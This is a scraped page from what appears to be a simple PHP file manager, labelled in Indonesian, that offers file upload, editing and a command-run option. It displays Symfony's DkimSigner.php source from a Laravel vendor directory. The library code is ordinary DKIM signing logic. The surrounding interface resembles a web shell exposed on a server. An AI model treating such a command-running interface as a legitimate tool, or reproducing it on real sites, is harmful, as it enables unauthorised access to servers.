File Manager Sederhana

Nama	Ukuran	Izin	Aksi
DkimOptions.php	1.77 KB	0644	Edit Rename Delete
DkimSigner.php	7.96 KB	0644	Edit Rename Delete
SMime.php	3.19 KB	0644	Edit Rename Delete
SMimeEncrypter.php	2.19 KB	0644	Edit Rename Delete
SMimeSigner.php	2.67 KB	0644	Edit Rename Delete

Edit File:DkimSigner.php

<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\Mime\Crypto;

use Symfony\Component\Mime\Exception\InvalidArgumentException;
use Symfony\Component\Mime\Exception\RuntimeException;
use Symfony\Component\Mime\Header\UnstructuredHeader;
use Symfony\Component\Mime\Message;
use Symfony\Component\Mime\Part\AbstractPart;

/**
 * @author Fabien Potencier <fabien@symfony.com>
 *
 * RFC 6376 and 8301
 */
final class DkimSigner
{
    public const CANON_SIMPLE = 'simple';
    public const CANON_RELAXED = 'relaxed';

public const ALGO_SHA256 = 'rsa-sha256';
    public const ALGO_ED25519 = 'ed25519-sha256'; // RFC 8463

private \OpenSSLAsymmetricKey $key;
    private string $domainName;
    private string $selector;
    private array $defaultOptions;

/**
     * @param string $pk         The private key as a string or the path to the file containing the private key, should be prefixed with file:// (in PEM format)
     * @param string $passphrase A passphrase of the private key (if any)
     */
    public function __construct(string $pk, string $domainName, string $selector, array $defaultOptions = [], string $passphrase = '')
    {
        if (!\extension_loaded('openssl')) {
            throw new \LogicException('PHP extension "openssl" is required to use DKIM.');
        }
        $this->key = openssl_pkey_get_private($pk, $passphrase) ?: throw new InvalidArgumentException('Unable to load DKIM private key: '.openssl_error_string());
        $this->domainName = $domainName;
        $this->selector = $selector;
        $this->defaultOptions = $defaultOptions + [
            'algorithm' => self::ALGO_SHA256,
            'signature_expiration_delay' => 0,
            'body_max_length' => \PHP_INT_MAX,
            'body_show_length' => false,
            'header_canon' => self::CANON_RELAXED,
            'body_canon' => self::CANON_RELAXED,
            'headers_to_ignore' => [],
        ];
    }

public function sign(Message $message, array $options = []): Message
    {
        $options += $this->defaultOptions;
        if (!\in_array($options['algorithm'], [self::ALGO_SHA256, self::ALGO_ED25519], true)) {
            throw new InvalidArgumentException(sprintf('Invalid DKIM signing algorithm "%s".', $options['algorithm']));
        }
        $headersToIgnore['return-path'] = true;
        $headersToIgnore['x-transport'] = true;
        foreach ($options['headers_to_ignore'] as $name) {
            $headersToIgnore[strtolower($name)] = true;
        }
        unset($headersToIgnore['from']);
        $signedHeaderNames = [];
        $headerCanonData = '';
        $headers = $message->getPreparedHeaders();
        foreach ($headers->getNames() as $name) {
            foreach ($headers->all($name) as $header) {
                if (isset($headersToIgnore[strtolower($header->getName())])) {
                    continue;
                }

if ('' !== $header->getBodyAsString()) {
                    $headerCanonData .= $this->canonicalizeHeader($header->toString(), $options['header_canon']);
                    $signedHeaderNames[] = $header->getName();
                }
            }
        }

[$bodyHash, $bodyLength] = $this->hashBody($message->getBody(), $options['body_canon'], $options['body_max_length']);

$params = [
            'v' => '1',
            'q' => 'dns/txt',
            'a' => $options['algorithm'],
            'bh' => base64_encode($bodyHash),
            'd' => $this->domainName,
            'h' => implode(': ', $signedHeaderNames),
            'i' => '@'.$this->domainName,
            's' => $this->selector,
            't' => time(),
            'c' => $options['header_canon'].'/'.$options['body_canon'],
        ];

if ($options['body_show_length']) {
            $params['l'] = $bodyLength;
        }
        if ($options['signature_expiration_delay']) {
            $params['x'] = $params['t'] + $options['signature_expiration_delay'];
        }
        $value = '';
        foreach ($params as $k => $v) {
            $value .= $k.'='.$v.'; ';
        }
        $value = trim($value);
        $header = new UnstructuredHeader('DKIM-Signature', $value);
        $headerCanonData .= rtrim($this->canonicalizeHeader($header->toString()."\r\n b=", $options['header_canon']));
        if (self::ALGO_SHA256 === $options['algorithm']) {
            if (!openssl_sign($headerCanonData, $signature, $this->key, \OPENSSL_ALGO_SHA256)) {
                throw new RuntimeException('Unable to sign DKIM hash: '.openssl_error_string());
            }
        } else {
            throw new \RuntimeException(sprintf('The "%s" DKIM signing algorithm is not supported yet.', self::ALGO_ED25519));
        }
        $header->setValue($value.' b='.trim(chunk_split(base64_encode($signature), 73, ' ')));
        $headers->add($header);

return new Message($headers, $message->getBody());
    }

private function canonicalizeHeader(string $header, string $headerCanon): string
    {
        if (self::CANON_RELAXED !== $headerCanon) {
            return $header."\r\n";
        }

$exploded = explode(':', $header, 2);
        $name = strtolower(trim($exploded[0]));
        $value = str_replace("\r\n", '', $exploded[1]);
        $value = trim(preg_replace("/[ \t][ \t]+/", ' ', $value));

return $name.':'.$value."\r\n";
    }

private function hashBody(AbstractPart $body, string $bodyCanon, int $maxLength): array
    {
        $hash = hash_init('sha256');
        $relaxed = self::CANON_RELAXED === $bodyCanon;
        $currentLine = '';
        $emptyCounter = 0;
        $isSpaceSequence = false;
        $length = 0;
        foreach ($body->bodyToIterable() as $chunk) {
            $canon = '';
            for ($i = 0, $len = \strlen($chunk); $i < $len; ++$i) {
                switch ($chunk[$i]) {
                    case "\r":
                        break;
                    case "\n":
                        // previous char is always \r
                        if ($relaxed) {
                            $isSpaceSequence = false;
                        }
                        if ('' === $currentLine) {
                            ++$emptyCounter;
                        } else {
                            $currentLine = '';
                            $canon .= "\r\n";
                        }
                        break;
                    case ' ':
                    case "\t":
                        if ($relaxed) {
                            $isSpaceSequence = true;
                            break;
                        }
                        // no break
                    default:
                        if ($emptyCounter > 0) {
                            $canon .= str_repeat("\r\n", $emptyCounter);
                            $emptyCounter = 0;
                        }
                        if ($isSpaceSequence) {
                            $currentLine .= ' ';
                            $canon .= ' ';
                            $isSpaceSequence = false;
                        }
                        $currentLine .= $chunk[$i];
                        $canon .= $chunk[$i];
                }
            }

if ($length + \strlen($canon) >= $maxLength) {
                $canon = substr($canon, 0, $maxLength - $length);
                $length += \strlen($canon);
                hash_update($hash, $canon);

break;
            }

$length += \strlen($canon);
            hash_update($hash, $canon);
        }

// Add trailing Line return if last line is non empty
        if ('' !== $currentLine) {
            hash_update($hash, "\r\n");
            $length += \strlen("\r\n");
        }

if (!$relaxed && 0 === $length) {
            hash_update($hash, "\r\n");
            $length = 2;
        }

return [hash_final($hash, true), $length];
    }
}

File Manager Sederhana

Upload File

Jalankan Perintah

Edit File:DkimSigner.php

File Manager Sederhana

Upload File

Jalankan Perintah

current directory: / / var / www / laravel / vendor / symfony / mime / Crypto

Edit File:DkimSigner.php